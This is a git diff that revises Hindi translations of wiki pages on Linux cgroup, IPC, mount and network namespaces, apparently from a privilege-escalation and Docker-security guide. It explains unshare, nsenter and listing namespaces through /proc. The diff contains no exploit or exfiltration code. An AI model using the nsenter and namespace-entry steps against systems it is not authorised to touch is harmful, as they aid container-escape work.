-1. जब एक नया cgroup namespace बनाया जाता है, **यह बनाने वाली प्रक्रिया के cgroup के आधार पर cgroup पदानुक्रम का एक दृश्य के साथ शुरू होता है**। इसका मतलब है कि नए cgroup namespace में चलने वाली प्रक्रियाएँ पूरे cgroup पदानुक्रम का केवल एक उपसमुच्चय देखेंगी, जो बनाने वाली प्रक्रिया के cgroup से उत्पन्न cgroup subtree तक सीमित है।
-2. cgroup namespace के भीतर प्रक्रियाएँ **अपने cgroup को पदानुक्रम के मूल के रूप में देखेंगी**। इसका मतलब है कि namespace के भीतर प्रक्रियाओं के दृष्टिकोण से, उनका अपना cgroup मूल के रूप में प्रकट होता है, और वे अपने स्वयं के subtree के बाहर cgroups को नहीं देख या एक्सेस नहीं कर सकते।
-3. Cgroup namespaces सीधे संसाधनों का पृथक्करण प्रदान नहीं करते; **वे केवल cgroup पदानुक्रम दृश्य का पृथक्करण प्रदान करते हैं**। **संसाधन नियंत्रण और पृथक्करण अभी भी cgroup** उपप्रणालियों (जैसे, cpu, memory, आदि) द्वारा लागू किया जाता है।
+1. जब एक नया cgroup namespace बनाया जाता है, **यह बनाने वाली प्रक्रिया के cgroup के आधार पर cgroup hierarchy का एक दृश्य के साथ शुरू होता है**। इसका मतलब है कि नए cgroup namespace में चल रही प्रक्रियाएँ पूरी cgroup hierarchy का केवल एक उपसमुच्चय देखेंगी, जो बनाने वाली प्रक्रिया के cgroup पर आधारित cgroup subtree तक सीमित है।
+2. cgroup namespace के भीतर प्रक्रियाएँ **अपनी स्वयं की cgroup को hierarchy के मूल के रूप में देखेंगी**। इसका मतलब है कि namespace के भीतर प्रक्रियाओं के दृष्टिकोण से, उनकी अपनी cgroup मूल के रूप में प्रकट होती है, और वे अपनी स्वयं की subtree के बाहर cgroups को नहीं देख या एक्सेस नहीं कर सकते।
+3. Cgroup namespaces सीधे संसाधनों का पृथक्करण प्रदान नहीं करते; **वे केवल cgroup hierarchy दृश्य का पृथक्करण प्रदान करते हैं**। **संसाधन नियंत्रण और पृथक्करण अभी भी cgroup** subsystems (जैसे, cpu, memory, आदि) द्वारा लागू किया जाता है।
CGroups के बारे में अधिक जानकारी के लिए देखें:
@@ -28,29 +28,29 @@ CGroups के बारे में अधिक जानकारी के
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
-एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नया माउंट नामस्थान उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलग दृश्य** रखता है।
+एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलगावित दृश्य** है।
त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता
-जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
+जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो एक त्रुटि उत्पन्न होती है क्योंकि Linux नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
-- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
+- Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं।
-- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
+- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का विशेष कार्य अनाथ प्रक्रियाओं को अपनाना है। Linux कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
-- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि नए प्रक्रिया को बनाने के दौरान `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
+- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसके परिणामस्वरूप, नए प्रक्रिया बनाने के दौरान `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
-- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
+- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
-यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
+यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नए PID नामस्थान को सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
@@ -58,7 +58,7 @@ sudo unshare -C [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### जांचें कि आपका प्रक्रिया किस namespace में है
+### जांचें कि आपका प्रोसेस किस नेमस्पेस में है
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
@@ -73,7 +73,7 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
-आप केवल **रूट** होने पर ही किसी अन्य प्रक्रिया नामस्थान में **प्रवेश** कर सकते हैं। और आप **बिना** किसी वर्णनकर्ता के **अन्य नामस्थान में** **प्रवेश** **नहीं** कर सकते (जैसे `/proc/self/ns/cgroup`)।
+आप केवल **दूसरे प्रक्रिया नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में प्रवेश नहीं कर सकते** **बिना एक वर्णनकर्ता** जो इसे इंगित करता है (जैसे `/proc/self/ns/cgroup`)।
## संदर्भ
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
index 13ab207b9..6802aba0a 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
@@ -20,13 +20,13 @@ IPC (Inter-Process Communication) namespace एक Linux kernel विशेष
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
-एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलगावित दृश्य** है।
+एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नया माउंट नामस्थान उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलग दृष्टिकोण** रखता है।
त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता
-जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि का सामना करता है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
+जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
@@ -36,13 +36,13 @@ sudo unshare -i [--mount-proc] /bin/bash
2. **परिणाम**:
-- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के समय `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
+- नए नामस्थान में PID 1 के समाप्त होने से `PIDNS_HASH_ADDING` ध्वज की सफाई होती है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के दौरान `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
-- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए मजबूर करता है।
+- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए मजबूर करता है।
- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
-यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नए PID नामस्थान को सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
+यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
@@ -50,7 +50,7 @@ sudo unshare -i [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### जांचें कि आपका प्रोसेस किस नेमस्पेस में है
+### जांचें कि आपका प्रोसेस किस namespace में है
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
@@ -61,7 +61,7 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep
```
-### IPC नामस्थान के अंदर प्रवेश करें
+### IPC namespace के अंदर प्रवेश करें
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
index a3411fac9..5d3e00306 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
@@ -4,13 +4,13 @@
## Basic Information
-एक माउंट नेमस्पेस एक Linux कर्नेल फीचर है जो प्रक्रियाओं के एक समूह द्वारा देखे जाने वाले फ़ाइल सिस्टम माउंट पॉइंट्स का पृथक्करण प्रदान करता है। प्रत्येक माउंट नेमस्पेस के पास अपने स्वयं के फ़ाइल सिस्टम माउंट पॉइंट्स का सेट होता है, और **एक नेमस्पेस में माउंट पॉइंट्स में परिवर्तन अन्य नेमस्पेस को प्रभावित नहीं करते**। इसका मतलब है कि विभिन्न माउंट नेमस्पेस में चलने वाली प्रक्रियाएँ फ़ाइल सिस्टम पदानुक्रम के विभिन्न दृश्य रख सकती हैं।
+एक माउंट नेमस्पेस एक Linux कर्नेल फीचर है जो प्रक्रियाओं के एक समूह द्वारा देखे जाने वाले फ़ाइल सिस्टम माउंट पॉइंट्स का पृथक्करण प्रदान करता है। प्रत्येक माउंट नेमस्पेस के पास अपने स्वयं के फ़ाइल सिस्टम माउंट पॉइंट्स का सेट होता है, और **एक नेमस्पेस में माउंट पॉइंट्स में किए गए परिवर्तन अन्य नेमस्पेस को प्रभावित नहीं करते**। इसका मतलब है कि विभिन्न माउंट नेमस्पेस में चल रही प्रक्रियाएँ फ़ाइल सिस्टम पदानुक्रम के विभिन्न दृश्य रख सकती हैं।
-माउंट नेमस्पेस विशेष रूप से कंटेनरीकरण में उपयोगी होते हैं, जहाँ प्रत्येक कंटेनर को अन्य कंटेनरों और होस्ट सिस्टम से पृथक अपने स्वयं के फ़ाइल सिस्टम और कॉन्फ़िगरेशन होना चाहिए।
+माउंट नेमस्पेस कंटेनरीकरण में विशेष रूप से उपयोगी होते हैं, जहाँ प्रत्येक कंटेनर को अन्य कंटेनरों और होस्ट सिस्टम से पृथक अपने स्वयं के फ़ाइल सिस्टम और कॉन्फ़िगरेशन होना चाहिए।
### How it works:
-1. जब एक नया माउंट नेमस्पेस बनाया जाता है, तो इसे **अपने पैरेंट नेमस्पेस से माउंट पॉइंट्स की एक कॉपी के साथ प्रारंभ किया जाता है**। इसका मतलब है कि, निर्माण के समय, नया नेमस्पेस अपने पैरेंट के समान फ़ाइल सिस्टम का दृश्य साझा करता है। हालाँकि, नेमस्पेस के भीतर माउंट पॉइंट्स में बाद के किसी भी परिवर्तन का प्रभाव पैरेंट या अन्य नेमस्पेस पर नहीं पड़ेगा।
+1. जब एक नया माउंट नेमस्पेस बनाया जाता है, तो इसे **अपने माता-पिता के नेमस्पेस से माउंट पॉइंट्स की एक प्रति के साथ प्रारंभ किया जाता है**। इसका मतलब है कि, निर्माण के समय, नया नेमस्पेस अपने माता-पिता के समान फ़ाइल सिस्टम का दृश्य साझा करता है। हालाँकि, नेमस्पेस के भीतर माउंट पॉइंट्स में किए गए किसी भी बाद के परिवर्तन माता-पिता या अन्य नेमस्पेस को प्रभावित नहीं करेंगे।
2. जब एक प्रक्रिया अपने नेमस्पेस के भीतर एक माउंट पॉइंट को संशोधित करती है, जैसे कि फ़ाइल सिस्टम को माउंट या अनमाउंट करना, तो **परिवर्तन उस नेमस्पेस के लिए स्थानीय होता है** और अन्य नेमस्पेस को प्रभावित नहीं करता। यह प्रत्येक नेमस्पेस को अपने स्वयं के स्वतंत्र फ़ाइल सिस्टम पदानुक्रम रखने की अनुमति देता है।
3. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नेमस्पेस के बीच स्थानांतरित हो सकती हैं, या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए नेमस्पेस बना सकती हैं जिसमें `CLONE_NEWNS` फ्लैग होता है। जब एक प्रक्रिया एक नए नेमस्पेस में जाती है या एक बनाती है, तो यह उस नेमस्पेस से जुड़े माउंट पॉइंट्स का उपयोग करना शुरू कर देगी।
4. **फ़ाइल डिस्क्रिप्टर्स और इनोड्स नेमस्पेस के बीच साझा किए जाते हैं**, जिसका अर्थ है कि यदि एक नेमस्पेस में एक प्रक्रिया के पास एक फ़ाइल को इंगित करने वाला एक खुला फ़ाइल डिस्क्रिप्टर है, तो वह **उस फ़ाइल डिस्क्रिप्टर को** दूसरे नेमस्पेस में एक प्रक्रिया को पास कर सकती है, और **दोनों प्रक्रियाएँ उसी फ़ाइल तक पहुँचेंगी**। हालाँकि, फ़ाइल का पथ दोनों नेमस्पेस में माउंट पॉइंट्स में भिन्नताओं के कारण समान नहीं हो सकता है।
@@ -23,29 +23,29 @@
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
-एक नए `/proc` फ़ाइल प्रणाली के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलग दृश्य** है।
+एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप `--mount-proc` पैरामीटर का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलगावित दृश्य** है।
त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता
-जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स द्वारा नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
+जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो एक त्रुटि उत्पन्न होती है क्योंकि Linux नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
-- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नई PID नामस्थान बनाने की प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
+- Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं।
-- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का विशेष कार्य अनाथ प्रक्रियाओं को अपनाना है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
+- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का विशेष कार्य अनाथ प्रक्रियाओं को अपनाना है। Linux कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
-- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के समय `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
+- नए नामस्थान में PID 1 के समाप्त होने से `PIDNS_HASH_ADDING` ध्वज की सफाई होती है। इसका परिणाम यह होता है कि नए प्रक्रिया को बनाने के समय `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
-- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
-- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
+- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए मजबूर करता है।
+- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
-यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नए PID नामस्थान को सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ मेमोरी आवंटन त्रुटि का सामना किए बिना कार्य कर सकें।
+यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नए PID नामस्थान को सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकें।
@@ -53,12 +53,12 @@ sudo unshare -m [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### जांचें कि आपका प्रोसेस किस नेमस्पेस में है
+### जांचें कि आपका प्रोसेस किस नामस्थान में है
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
```
-### सभी माउंट नामस्थान खोजें
+### सभी माउंट नेमस्पेस खोजें
```bash
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
@@ -68,7 +68,7 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g
```bash
findmnt
```
-### एक माउंट नेमस्पेस के अंदर प्रवेश करें
+### Mount namespace के अंदर प्रवेश करें
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
index 55376dd2c..a92d41f30 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
@@ -4,11 +4,11 @@
## बुनियादी जानकारी
-एक नेटवर्क नेमस्पेस एक Linux कर्नेल फीचर है जो नेटवर्क स्टैक का पृथक्करण प्रदान करता है, जिससे **प्रत्येक नेटवर्क नेमस्पेस अपनी स्वतंत्र नेटवर्क कॉन्फ़िगरेशन** , इंटरफेस, IP पते, रूटिंग तालिकाएँ, और फ़ायरवॉल नियम रख सकता है। यह पृथक्करण विभिन्न परिदृश्यों में उपयोगी है, जैसे कंटेनराइजेशन, जहाँ प्रत्येक कंटेनर को अन्य कंटेनरों और होस्ट सिस्टम से स्वतंत्र अपनी नेटवर्क कॉन्फ़िगरेशन होनी चाहिए।
+एक नेटवर्क नेमस्पेस एक Linux कर्नेल फीचर है जो नेटवर्क स्टैक का पृथक्करण प्रदान करता है, जिससे **प्रत्येक नेटवर्क नेमस्पेस की अपनी स्वतंत्र नेटवर्क कॉन्फ़िगरेशन** हो सकती है, इंटरफेस, IP पते, रूटिंग तालिकाएँ, और फ़ायरवॉल नियम। यह पृथक्करण विभिन्न परिदृश्यों में उपयोगी है, जैसे कंटेनरीकरण, जहां प्रत्येक कंटेनर को अन्य कंटेनरों और होस्ट सिस्टम से स्वतंत्र अपनी नेटवर्क कॉन्फ़िगरेशन होनी चाहिए।
### यह कैसे काम करता है:
-1. जब एक नया नेटवर्क नेमस्पेस बनाया जाता है, तो यह **पूर्णतः पृथक नेटवर्क स्टैक** के साथ शुरू होता है, जिसमें **कोई नेटवर्क इंटरफेस** नहीं होता सिवाय लूपबैक इंटरफेस (lo) के। इसका मतलब है कि नए नेटवर्क नेमस्पेस में चलने वाली प्रक्रियाएँ डिफ़ॉल्ट रूप से अन्य नेमस्पेस या होस्ट सिस्टम में चलने वाली प्रक्रियाओं के साथ संवाद नहीं कर सकती हैं।
+1. जब एक नया नेटवर्क नेमस्पेस बनाया जाता है, तो यह **पूर्ण रूप से पृथक नेटवर्क स्टैक** के साथ शुरू होता है, जिसमें **कोई नेटवर्क इंटरफेस** नहीं होता है सिवाय लूपबैक इंटरफेस (lo) के। इसका मतलब है कि नए नेटवर्क नेमस्पेस में चलने वाली प्रक्रियाएँ डिफ़ॉल्ट रूप से अन्य नेमस्पेस या होस्ट सिस्टम में चलने वाली प्रक्रियाओं के साथ संवाद नहीं कर सकती हैं।
2. **वर्चुअल नेटवर्क इंटरफेस**, जैसे veth जोड़े, बनाए जा सकते हैं और नेटवर्क नेमस्पेस के बीच स्थानांतरित किए जा सकते हैं। यह नेमस्पेस के बीच या एक नेमस्पेस और होस्ट सिस्टम के बीच नेटवर्क कनेक्टिविटी स्थापित करने की अनुमति देता है। उदाहरण के लिए, एक veth जोड़े का एक सिरा एक कंटेनर के नेटवर्क नेमस्पेस में रखा जा सकता है, और दूसरा सिरा होस्ट नेमस्पेस में एक **ब्रिज** या अन्य नेटवर्क इंटरफेस से जोड़ा जा सकता है, जिससे कंटेनर को नेटवर्क कनेक्टिविटी मिलती है।
3. एक नेमस्पेस के भीतर नेटवर्क इंटरफेस के **अपने IP पते, रूटिंग तालिकाएँ, और फ़ायरवॉल नियम** हो सकते हैं, जो अन्य नेमस्पेस से स्वतंत्र होते हैं। यह विभिन्न नेटवर्क नेमस्पेस में प्रक्रियाओं को विभिन्न नेटवर्क कॉन्फ़िगरेशन रखने और ऐसा कार्य करने की अनुमति देता है जैसे कि वे अलग-अलग नेटवर्क सिस्टम पर चल रही हैं।
4. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नेमस्पेस के बीच स्थानांतरित हो सकती हैं, या `CLONE_NEWNET` फ्लैग के साथ `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए नेमस्पेस बना सकती हैं। जब एक प्रक्रिया एक नए नेमस्पेस में जाती है या एक बनाती है, तो यह उस नेमस्पेस से संबंधित नेटवर्क कॉन्फ़िगरेशन और इंटरफेस का उपयोग करना शुरू कर देगी।
@@ -22,29 +22,29 @@
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
-`/proc` फ़ाइल सिस्टम के एक नए उदाहरण को माउंट करके यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलगावित दृश्य** है।
+एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलगावित दृश्य** है।
-त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकते
+त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता
